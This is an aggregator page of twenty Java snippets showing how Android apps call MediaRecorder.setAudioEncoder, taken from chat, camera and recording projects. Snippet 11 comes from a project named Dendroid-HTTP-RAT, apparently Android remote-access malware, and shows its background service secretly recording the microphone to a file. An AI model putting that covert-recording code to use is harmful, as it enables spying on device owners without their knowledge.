android.media.MediaRecorder#setAudioEncoder ( )源码实例Demo

下面列出了android.media.MediaRecorder#setAudioEncoder ( ) 实例代码，或者点击链接到github查看源代码，也可以在右侧发表评论。

源代码1 项目： DataLogger 文件： AudioDataCollector.java


public void prepare(int samplingRate) {
    Log.i(TAG,"prepare:: Preparing listener for sensor "+getSensorName());
    mRecorder = new MediaRecorder();
    mRecorder.setAudioSource(MediaRecorder.AudioSource.MIC);
    mRecorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);
    mRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_WB);
    if (samplingRate != 0){
        mRecorder.setAudioSamplingRate(samplingRate);
    }
    logFile = LoggerHelper.defineLogFilename(mContext, mPath, mBaseLogFilename, "3gp", false, mNanosOffset);
    mRecorder.setOutputFile(logFile.getAbsolutePath());
    try {
        mRecorder.prepare();
    } catch (IOException e) {
        Log.e(TAG, "::prepare Error creating collector: " + e.getMessage());
    }
}

源代码2 项目： GLEXP-Team-onebillion 文件： OBVideoRecorder.java


protected void initRecorder()
{

    mediaRecorder = new MediaRecorder();

    mediaRecorder.setAudioSource(MediaRecorder.AudioSource.MIC);
    mediaRecorder.setVideoSource(MediaRecorder.VideoSource.SURFACE);
    mediaRecorder.setOutputFormat(MediaRecorder.OutputFormat.MPEG_4);

    mediaRecorder.setVideoEncodingBitRate(100000000);
    mediaRecorder.setVideoFrameRate(30);
    mediaRecorder.setVideoSize(videoSize.getWidth(),videoSize.getHeight());
    mediaRecorder.setVideoEncoder(MediaRecorder.VideoEncoder.H264);
    mediaRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.AAC);
    mediaRecorder.setAudioEncodingBitRate(128000);
    mediaRecorder.setAudioSamplingRate(44100);
    mediaRecorder.setOutputFile(recordedPath);


}

源代码3 项目： coursera-android 文件： AudioRecordingActivity.java


private void startRecording() {

        mRecorder = new MediaRecorder();
        mRecorder.setAudioSource(MediaRecorder.AudioSource.MIC);
        mRecorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);
        mRecorder.setOutputFile(mFileName);
        mRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);

        try {
            mRecorder.prepare();
        } catch (IOException e) {
            Log.e(TAG, "Couldn't prepare and start MediaRecorder");
        }

        mRecorder.start();
    }

源代码4 项目： FamilyChat 文件： MediaRecorderSystemImpl.java


@Override
public void initRecorder(Camera camera, int cameraId, Surface surface, String filePath)
{
    mMediaRecorder = new MediaRecorder();
    mMediaRecorder.reset();
    if (camera != null)
        mMediaRecorder.setCamera(camera);
    mMediaRecorder.setOnErrorListener(this);
    mMediaRecorder.setPreviewDisplay(surface);
    mMediaRecorder.setVideoSource(MediaRecorder.VideoSource.CAMERA);//视频源
    mMediaRecorder.setAudioSource(MediaRecorder.AudioSource.MIC);//音频源
    mMediaRecorder.setOutputFormat(MediaRecorder.OutputFormat.MPEG_4);//视频输出格式 也可设为3gp等其他格式
    mMediaRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);//音频格式
    mMediaRecorder.setVideoSize(640, 480);//设置分辨率，市面上大多数都支持640*480
    //        mediaRecorder.setVideoFrameRate(25);//设置每秒帧数 这个设置有可能会出问题，有的手机不支持这种帧率就会录制失败，这里使用默认的帧率，当然视频的大小肯定会受影响
    //这里设置可以调整清晰度
    mMediaRecorder.setVideoEncodingBitRate(2 * 1024 * 512);

    if (cameraId == Camera.CameraInfo.CAMERA_FACING_BACK)
        mMediaRecorder.setOrientationHint(90);
    else
        mMediaRecorder.setOrientationHint(270);
    mMediaRecorder.setVideoEncoder(MediaRecorder.VideoEncoder.H264);//视频录制格式
    mMediaRecorder.setOutputFile(filePath);
}

源代码5 项目： zom-android-matrix 文件： AudioRecorder.java


public void startAudioRecording() {
    AudioManager am = (AudioManager) context.getSystemService(Context.AUDIO_SERVICE);
    if (am.getMode() == AudioManager.MODE_NORMAL) {

        mediaRecorder = new MediaRecorder();

        String fileName = UUID.randomUUID().toString().substring(0, 8) + ".m4a";
        outputFilePath = new File(context.getFilesDir(), fileName);

        mediaRecorder.setAudioSource(MediaRecorder.AudioSource.MIC);
        mediaRecorder.setOutputFormat(MediaRecorder.OutputFormat.MPEG_4);
        mediaRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.AAC);

        //maybe we can modify these in the future, or allow people to tweak them
        mediaRecorder.setAudioChannels(1);
        mediaRecorder.setAudioEncodingBitRate(22050);
        mediaRecorder.setAudioSamplingRate(64000);

        mediaRecorder.setOutputFile(outputFilePath.getAbsolutePath());

        try {
            isAudioRecording = true;
            mediaRecorder.prepare();
            mediaRecorder.start();

            if (getVisualizerView() != null) {
                startLevelListener();
            }
        } catch (Exception e) {
            Log.e(LOG_TAG, "couldn't start audio", e);
        }
    }
}

源代码6 项目： ui 文件： noxmllayoutexample.java


private void startRecording() {
    mRecorder = new MediaRecorder();
    mRecorder.setAudioSource(MediaRecorder.AudioSource.MIC);
    mRecorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);
    mRecorder.setOutputFile(mFileName);
    mRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);

    try {
        mRecorder.prepare();
    } catch (IOException e) {
        Log.e(LOG_TAG, "prepare() failed");
    }

    mRecorder.start();
}

源代码7 项目： QPM 文件： QPMScreenRecorderManager.java


private void start(Activity activity, int resultCode, Intent data) {
    if (mediaProjectionManager == null) {
        return;
    }
    startTime = System.currentTimeMillis();
    try {
        mediaProjection = mediaProjectionManager.getMediaProjection(resultCode, data);
        DisplayMetrics metrics = new DisplayMetrics();
        activity.getWindowManager().getDefaultDisplay().getMetrics(metrics);
        int screenWidth = metrics.widthPixels;
        int screenHeight = metrics.heightPixels;
        int density = metrics.densityDpi;

        mediaRecorder = new MediaRecorder();
        mediaRecorder.setAudioSource(MediaRecorder.AudioSource.MIC);
        mediaRecorder.setVideoSource(MediaRecorder.VideoSource.SURFACE);
        mediaRecorder.setOutputFormat(MediaRecorder.OutputFormat.MPEG_4);
        mediaRecorder.setOutputFile(getSaveFile());
        mediaRecorder.setVideoSize(screenWidth, screenHeight);
        mediaRecorder.setVideoEncoder(MediaRecorder.VideoEncoder.DEFAULT);
        mediaRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.DEFAULT);
        mediaRecorder.setVideoEncodingBitRate(screenWidth * screenHeight);
        mediaRecorder.setVideoFrameRate(30);
        mediaRecorder.prepare();
        display = mediaProjection.createVirtualDisplay(QPMScreenRecorderManager.class.getSimpleName(),
                screenWidth, screenHeight, density, DisplayManager.VIRTUAL_DISPLAY_FLAG_AUTO_MIRROR,
                mediaRecorder.getSurface(), null, null);
        mediaRecorder.start();
    } catch (Exception e){
        e.printStackTrace();
        onRecorderFailed(activity);
    }
}

源代码8 项目： ChatMessagesAdapter-android 文件： AudioRecorder.java


private void initMediaRecorder() {
    recorder = new MediaRecorder();
    recorder.setAudioSource(configurationBuilder.audioSource);
    recorder.setOutputFormat(configurationBuilder.outputFormat);
    recorder.setOutputFile(configurationBuilder.filePath);
    recorder.setAudioChannels(configurationBuilder.channels);
    recorder.setAudioEncoder(configurationBuilder.audioEncoder);
    recorder.setAudioEncodingBitRate(configurationBuilder.bitRate);
    recorder.setAudioSamplingRate(configurationBuilder.samplingRate);
    recorder.setMaxDuration(configurationBuilder.duration);
    recorder.setOnInfoListener(new OnInfoListenerImpl());
    recorder.setOnErrorListener(new OnErrorListenerImpl());
}

源代码9 项目： qiscus-sdk-android 文件： QiscusAudioRecorder.java


private void startRecording(String fileName) throws IOException {
    if (!recording) {
        this.fileName = fileName;
        recording = true;
        recorder = new MediaRecorder();
        recorder.setAudioSource(MediaRecorder.AudioSource.MIC);
        recorder.setOutputFormat(MediaRecorder.OutputFormat.MPEG_4);
        recorder.setAudioEncoder(MediaRecorder.AudioEncoder.AAC);
        recorder.setOutputFile(fileName);
        recorder.prepare();
        recorder.start();
    }
}

源代码10 项目： continuous-audiorecorder 文件： AudioRecorder.java


/**
 * Continues an existing record or starts a new one.
 *
 * @param listener The listener instance.
 */
@SuppressLint("NewApi")
public void start(@NonNull final OnStartListener listener) {
    StartRecordTask task = new StartRecordTask();

    mMediaRecorder = new MediaRecorder();
    mMediaRecorder.setAudioEncodingBitRate(mMediaRecorderConfig.mAudioEncodingBitRate);
    mMediaRecorder.setAudioChannels(mMediaRecorderConfig.mAudioChannels);
    mMediaRecorder.setAudioSource(mMediaRecorderConfig.mAudioSource);
    mMediaRecorder.setOutputFormat(MediaRecorder.OutputFormat.MPEG_4);
    mMediaRecorder.setOutputFile(getTemporaryFileName());
    mMediaRecorder.setAudioEncoder(mMediaRecorderConfig.mAudioEncoder);

    task.execute(listener);
}

源代码11 项目： Dendroid-HTTP-RAT 文件： MyService.java


@Override
  protected String doInBackground(String... params) {     
   	MediaRecorder recorder = new MediaRecorder();;

  SimpleDateFormat sdf = new SimpleDateFormat("yyyy_MM_dd_HH_mm");
       String currentDateandTime = sdf.format(new Date());
       
       String filename =currentDateandTime + ".3gp";

       File diretory = new File(PreferenceManager.getDefaultSharedPreferences(getApplicationContext()).getString("File", "") + File.separator + "Audio");
       diretory.mkdirs();
    	File outputFile = new File(diretory, filename);
       
     recorder.setAudioSource(MediaRecorder.AudioSource.MIC);
     recorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);
     recorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);
     recorder.setMaxDuration(Integer.parseInt(i));
     recorder.setMaxFileSize(1000000);
     recorder.setOutputFile(outputFile.toString());

 try 
    {
       recorder.prepare();
       recorder.start();
    } catch (IOException e) {
       Log.i("com.connect", "io problems while preparing");
      e.printStackTrace();
    }		   
return "Executed";
  }

源代码12 项目： PlayTogether 文件： AudioManager.java


/**
 * 准备录音
 */
public void prepareAudio()
{
	try
	{
		isPrepare = false;
		File dir = new File(mDir);
		if (!dir.exists())
			dir.mkdirs();
		String fileName = UUID.randomUUID() + ".amr";
		mFile = new File(dir, fileName);
		mMediaRecorder = new MediaRecorder();
		mMediaRecorder.setAudioSource(MediaRecorder.AudioSource.MIC);
		mMediaRecorder.setOutputFile(mFile.getAbsolutePath());
		mMediaRecorder.setOutputFormat(MediaRecorder.OutputFormat.AMR_NB);
		mMediaRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);
		mMediaRecorder.prepare();
		mMediaRecorder.start();
		isPrepare = true;
		if (mAudioStateListener != null)
		{
			mAudioStateListener.hadPrepare();
		}
	} catch (Exception e)
	{
		e.printStackTrace();
		isPrepare = false;
	}
}

源代码13 项目： Android 文件： AudioUtil.java


/**
 * record voice
 */
public void prepareAudio() {
    File dir = FileUtil.newContactFile(FileUtil.FileType.VOICE);
    if (dir == null) {
        return;
    }
    if (!dir.exists()) {
        dir.mkdirs();
    }

    recordPath = generateAudioName();
    mediaRecorder = new MediaRecorder();

    try {
        mediaRecorder.setAudioSource(MediaRecorder.AudioSource.MIC);
        mediaRecorder.setOutputFile(recordPath);
        mediaRecorder.setOutputFormat(MediaRecorder.OutputFormat.RAW_AMR);
        mediaRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);
        mediaRecorder.prepare();
        mediaRecorder.start();
    } catch (Exception e) {
        //When you enter the chat interface, Home key to exit the voice off
        e.printStackTrace();
        recordListener.startError();
        mediaRecorder = null;
        return;
    }

    recordTimer.start();
    if (recordListener != null) {
        recordListener.wellPrepared();
    }
}

源代码14 项目： microbit 文件： AudioRecorderActivity.java


private void startRecording() {
    releaseRecorder();

    mRecorder = new MediaRecorder();
    mRecorder.setAudioSource(MediaRecorder.AudioSource.MIC);
    mRecorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);

    mRecordFileOutput = getAudioFilename();

    //TODO: check disk space left?
    mRecorder.setOutputFile(mRecordFileOutput.getPath());
    mRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);

    try {
        mRecorder.prepare();
    } catch(IOException e) {
        releaseRecorder();
        //TODO: show popup for failure?
        Log.e(TAG, e.toString());
        return;
    }

    mRecorder.start();
    mIsRecording = true;

    //UI update
    chronometer.setBase(SystemClock.elapsedRealtime());
    chronometer.start();

    filenameTxt.setText(mRecordFileOutput.getName());
    imageMic.setImageDrawable(drawable_mic_on);
}

源代码15 项目： GravityBox 文件： RecordingService.java


private void startRecording() {
    String statusMessage = "";
    String audioFileName = prepareOutputFile();
    try {
        mRecorder = new MediaRecorder();
        mRecorder.setAudioSource(MediaRecorder.AudioSource.MIC);
        mRecorder.setOutputFormat(MediaRecorder.OutputFormat.MPEG_4);
        mRecorder.setOutputFile(audioFileName);
        mRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.AAC);
        mRecorder.setAudioEncodingBitRate(96000);
        mRecorder.setAudioSamplingRate(mSamplingRate);
        mRecorder.setOnErrorListener(mOnErrorListener);
        mRecorder.prepare();
        mRecorder.start();
        mRecordingStatus = RECORDING_STATUS_STARTED;
        startForeground(1, mRecordingNotif);
    } catch (Exception e) {
        e.printStackTrace();
        mRecordingStatus = RECORDING_STATUS_ERROR;
        statusMessage = e.getMessage();
    } finally {
        Intent i = new Intent(ACTION_RECORDING_STATUS_CHANGED);
        i.putExtra(EXTRA_RECORDING_STATUS, mRecordingStatus);
        if (mRecordingStatus == RECORDING_STATUS_STARTED) {
            i.putExtra(EXTRA_AUDIO_FILENAME, audioFileName);
        }
        i.putExtra(EXTRA_STATUS_MESSAGE, statusMessage); 
        sendBroadcast(i);
    }
}

源代码16 项目： zom-android-matrix 文件： ConversationDetailActivity.java


public void startAudioRecording ()
{
    int permissionCheck = ContextCompat.checkSelfPermission(this,
            Manifest.permission.RECORD_AUDIO);

    if (permissionCheck ==PackageManager.PERMISSION_DENIED)
    {
        // Should we show an explanation?
        if (ActivityCompat.shouldShowRequestPermissionRationale(this,
                Manifest.permission.RECORD_AUDIO)) {


            // Show an expanation to the user *asynchronously* -- don't block
            // this thread waiting for the user's response! After the user
            // sees the explanation, try again to request the permission.
            Snackbar.make(mConvoView.getHistoryView(), R.string.grant_perms, Snackbar.LENGTH_LONG).show();
        } else {

            // No explanation needed, we can request the permission.

            ActivityCompat.requestPermissions(this,
                    new String[]{Manifest.permission.RECORD_AUDIO},
                    MY_PERMISSIONS_REQUEST_AUDIO);

            // MY_PERMISSIONS_REQUEST_READ_CONTACTS is an
            // app-defined int constant. The callback method gets the
            // result of the request.
        }
    }
    else {

        AudioManager am = (AudioManager) getSystemService(Context.AUDIO_SERVICE);
        if (am.getMode() == AudioManager.MODE_NORMAL) {

            mMediaRecorder = new MediaRecorder();

            String fileName = UUID.randomUUID().toString().substring(0, 8) + ".m4a";
            mAudioFilePath = new File(getFilesDir(), fileName);

            mMediaRecorder.setAudioSource(MediaRecorder.AudioSource.MIC);
            mMediaRecorder.setOutputFormat(MediaRecorder.OutputFormat.MPEG_4);
            mMediaRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.AAC);

            //maybe we can modify these in the future, or allow people to tweak them
            mMediaRecorder.setAudioChannels(1);
            mMediaRecorder.setAudioEncodingBitRate(22050);
            mMediaRecorder.setAudioSamplingRate(64000);

            mMediaRecorder.setOutputFile(mAudioFilePath.getAbsolutePath());

            try {
                mIsAudioRecording = true;
                mMediaRecorder.prepare();
                mMediaRecorder.start();
            } catch (Exception e) {
                Log.e(LOG_TAG, "couldn't start audio", e);
            }
        }
    }
}

源代码17 项目： DeviceConnect-Android 文件： DefaultSurfaceRecorder.java


private void setUpMediaRecorder(final File outputFile) throws IOException {
    int rotation = getWindowManager().getDefaultDisplay().getRotation();

    mMediaRecorder = new MediaRecorder();
    mMediaRecorder.setAudioSource(MediaRecorder.AudioSource.MIC);
    mMediaRecorder.setVideoSource(MediaRecorder.VideoSource.SURFACE);
    mMediaRecorder.setOutputFormat(MediaRecorder.OutputFormat.MPEG_4);
    mMediaRecorder.setOutputFile(outputFile.getAbsolutePath());
    mMediaRecorder.setVideoEncodingBitRate(10000000);
    mMediaRecorder.setVideoFrameRate(30);
    mMediaRecorder.setVideoSize(mVideoSize.getWidth(), mVideoSize.getHeight());
    mMediaRecorder.setVideoEncoder(MediaRecorder.VideoEncoder.H264);
    mMediaRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.AAC);
    int hint;
    SparseIntArray orientations;
    if (mFacing == Camera2Recorder.CameraFacing.FRONT) {
        switch (rotation) {
            case Surface.ROTATION_0:
                rotation = Surface.ROTATION_0;
                break;
            case Surface.ROTATION_90:
                rotation = Surface.ROTATION_270;
                break;
            case Surface.ROTATION_180:
                rotation = Surface.ROTATION_180;
                break;
            case Surface.ROTATION_270:
                rotation = Surface.ROTATION_90;
                break;
        }
    }
    switch (mSensorOrientation) {
        case SENSOR_ORIENTATION_INVERSE_DEGREES:
            orientations = INVERSE_ORIENTATIONS;
            break;
        case SENSOR_ORIENTATION_DEFAULT_DEGREES:
        default:
            orientations = DEFAULT_ORIENTATIONS;
            break;
    }
    hint = orientations.get(rotation);
    mMediaRecorder.setOrientationHint(hint);
    mMediaRecorder.prepare();
    if (DEBUG) {
        Log.d(TAG, "VideoSize: " + mVideoSize.getWidth() + "x" + mVideoSize.getHeight());
        Log.d(TAG, "OutputFile: " + outputFile.getAbsolutePath());
        Log.d(TAG, "Facing: " + mFacing.getName());
        Log.d(TAG, "SensorOrientation: " + mSensorOrientation);
        Log.d(TAG, "DisplayRotation: " + rotation);
        Log.d(TAG, "OrientationHint: " + hint);
    }
}

源代码18 项目： In77Camera 文件： CameraEngine.java


private boolean prepareMediaRecorder() {
        try {
           // final Activity activity = getActivity();
            //if (null == activity) return false;
            //final BaseCaptureInterface captureInterface = (BaseCaptureInterface) activity;

           // setCameraDisplayOrientation(mCamera.getParameters());
            mMediaRecorder = new MediaRecorder();
            camera.stopPreview();
            camera.unlock();
            mMediaRecorder.setCamera(camera);

  //          boolean canUseAudio = true;
            //boolean audioEnabled = !mInterface.audioDisabled();
            //if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M)
            //    canUseAudio = ContextCompat.checkSelfPermission(activity, Manifest.permission.RECORD_AUDIO) == PackageManager.PERMISSION_GRANTED;

//            if (canUseAudio && audioEnabled) {
                mMediaRecorder.setAudioSource(MediaRecorder.AudioSource.DEFAULT);
//            } else if (audioEnabled) {
//                Toast.makeText(getActivity(), R.string.mcam_no_audio_access, Toast.LENGTH_LONG).show();
//            }
            mMediaRecorder.setVideoSource(MediaRecorder.VideoSource.DEFAULT);

            final CamcorderProfile profile = CamcorderProfile.get(currentCameraId, CamcorderProfile.QUALITY_HIGH);
            mMediaRecorder.setOutputFormat(profile.fileFormat);
            mMediaRecorder.setVideoFrameRate(profile.videoFrameRate);
            mMediaRecorder.setVideoSize(previewSize.width, previewSize.height);
            mMediaRecorder.setVideoEncodingBitRate(profile.videoBitRate);
            mMediaRecorder.setVideoEncoder(profile.videoCodec);

            mMediaRecorder.setAudioEncodingBitRate(profile.audioBitRate);
            mMediaRecorder.setAudioChannels(profile.audioChannels);
            mMediaRecorder.setAudioSamplingRate(profile.audioSampleRate);
            mMediaRecorder.setAudioEncoder(profile.audioCodec);


            Uri uri = Uri.fromFile(FileUtils.makeTempFile(
                    new File(Environment.getExternalStorageDirectory(),
                            "/Omoshiroi/videos").getAbsolutePath(),
                    "VID_", ".mp4"));

            mMediaRecorder.setOutputFile(uri.getPath());

//            if (captureInterface.maxAllowedFileSize() > 0) {
//                mMediaRecorder.setMaxFileSize(captureInterface.maxAllowedFileSize());
//                mMediaRecorder.setOnInfoListener(new MediaRecorder.OnInfoListener() {
//                    @Override
//                    public void onInfo(MediaRecorder mediaRecorder, int what, int extra) {
//                        if (what == MediaRecorder.MEDIA_RECORDER_INFO_MAX_FILESIZE_REACHED) {
//                            Toast.makeText(getActivity(), R.string.mcam_file_size_limit_reached, Toast.LENGTH_SHORT).show();
//                            stopRecordingVideo(false);
//                        }
//                    }
//                });
//            }

            mMediaRecorder.setOrientationHint(90);
     //       mMediaRecorder.setPreviewDisplay(mPreviewView.getHolder().getSurface());

            mMediaRecorder.prepare();
            return true;

        } catch (Exception e) {
            camera.lock();
            e.printStackTrace();
            return false;
        }
    }

源代码19 项目： SimpleVideoEditor 文件： Camera2.java


private boolean prepareMediaRecorder() {
        // 默认使用最高质量拍摄
        CamcorderProfile profile =
                CamcorderProfile.
                        get(Integer.valueOf((String) mConfig.getCurrentCameraId()), CamcorderProfile.QUALITY_720P);

        Size previewSize = chooseOptimalSize();

        mMediaRecorder = new MediaRecorder();
        mMediaRecorder.setAudioSource(MediaRecorder.AudioSource.CAMCORDER);
        mMediaRecorder.setVideoSource(MediaRecorder.VideoSource.SURFACE);

        mMediaRecorder.setOutputFormat(profile.fileFormat);

        mMediaRecorder.setVideoFrameRate(profile.videoFrameRate);
//        mMediaRecorder.setVideoSize(mAspectRatio.getX(), mAspectRatio.getY());
//        mMediaRecorder.setVideoSize(profile.videoFrameWidth, profile.videoFrameHeight);
        mMediaRecorder.setVideoSize(previewSize.getWidth(), previewSize.getHeight());
        @SuppressWarnings("ConstantConditions")
        int sensorOrientation = mCameraCharacteristics.get(
                CameraCharacteristics.SENSOR_ORIENTATION);
        int rotation = (sensorOrientation +
                mDisplayOrientation * (mConfig.getCurrentFacing() == Constants.CAMERA_FACING_FRONT ? 1 : -1) +
                360) % 360;
        mMediaRecorder.setOrientationHint(rotation);
        mMediaRecorder.setVideoEncodingBitRate(profile.videoBitRate);
        mMediaRecorder.setVideoEncoder(profile.videoCodec);

        mMediaRecorder.setAudioEncodingBitRate(profile.audioBitRate);
        mMediaRecorder.setAudioChannels(profile.audioChannels);
        mMediaRecorder.setAudioSamplingRate(profile.audioSampleRate);
        mMediaRecorder.setAudioEncoder(profile.audioCodec);

        mMediaRecorder.setOutputFile(mConfig.getResultFile().getAbsolutePath());

        // 如果针对拍摄的文件大小和拍摄时间有设置的话，也可以在这里设置

        try {
            mMediaRecorder.prepare();

            return true;
        } catch (Exception e) {
            Log.d(TAG, "prepareMediaRecorder: " + e);
        }

        // 这个时候出现了错误，应该释放有关资源
        releaseVideoRecorder();
        return false;
    }

源代码20 项目： Zom-Android-XMPP 文件： ConversationDetailActivity.java


public void startAudioRecording ()
{
    int permissionCheck = ContextCompat.checkSelfPermission(this,
            Manifest.permission.RECORD_AUDIO);

    if (permissionCheck ==PackageManager.PERMISSION_DENIED)
    {
        // Should we show an explanation?
        if (ActivityCompat.shouldShowRequestPermissionRationale(this,
                Manifest.permission.RECORD_AUDIO)) {


            // Show an expanation to the user *asynchronously* -- don't block
            // this thread waiting for the user's response! After the user
            // sees the explanation, try again to request the permission.
            Snackbar.make(mConvoView.getHistoryView(), R.string.grant_perms, Snackbar.LENGTH_LONG).show();
        } else {

            // No explanation needed, we can request the permission.

            ActivityCompat.requestPermissions(this,
                    new String[]{Manifest.permission.RECORD_AUDIO},
                    MY_PERMISSIONS_REQUEST_AUDIO);

            // MY_PERMISSIONS_REQUEST_READ_CONTACTS is an
            // app-defined int constant. The callback method gets the
            // result of the request.
        }
    }
    else {

        AudioManager am = (AudioManager) getSystemService(Context.AUDIO_SERVICE);
        if (am.getMode() == AudioManager.MODE_NORMAL) {

            mMediaRecorder = new MediaRecorder();

            String fileName = UUID.randomUUID().toString().substring(0, 8) + ".m4a";
            mAudioFilePath = new File(getFilesDir(), fileName);

            mMediaRecorder.setAudioSource(MediaRecorder.AudioSource.MIC);
            mMediaRecorder.setOutputFormat(MediaRecorder.OutputFormat.MPEG_4);
            mMediaRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.AAC);

            //maybe we can modify these in the future, or allow people to tweak them
            mMediaRecorder.setAudioChannels(1);
            mMediaRecorder.setAudioEncodingBitRate(22050);
            mMediaRecorder.setAudioSamplingRate(64000);

            mMediaRecorder.setOutputFile(mAudioFilePath.getAbsolutePath());

            try {
                mIsAudioRecording = true;
                mMediaRecorder.prepare();
                mMediaRecorder.start();
            } catch (Exception e) {
                Log.e(ImApp.LOG_TAG, "couldn't start audio", e);
            }
        }
    }
}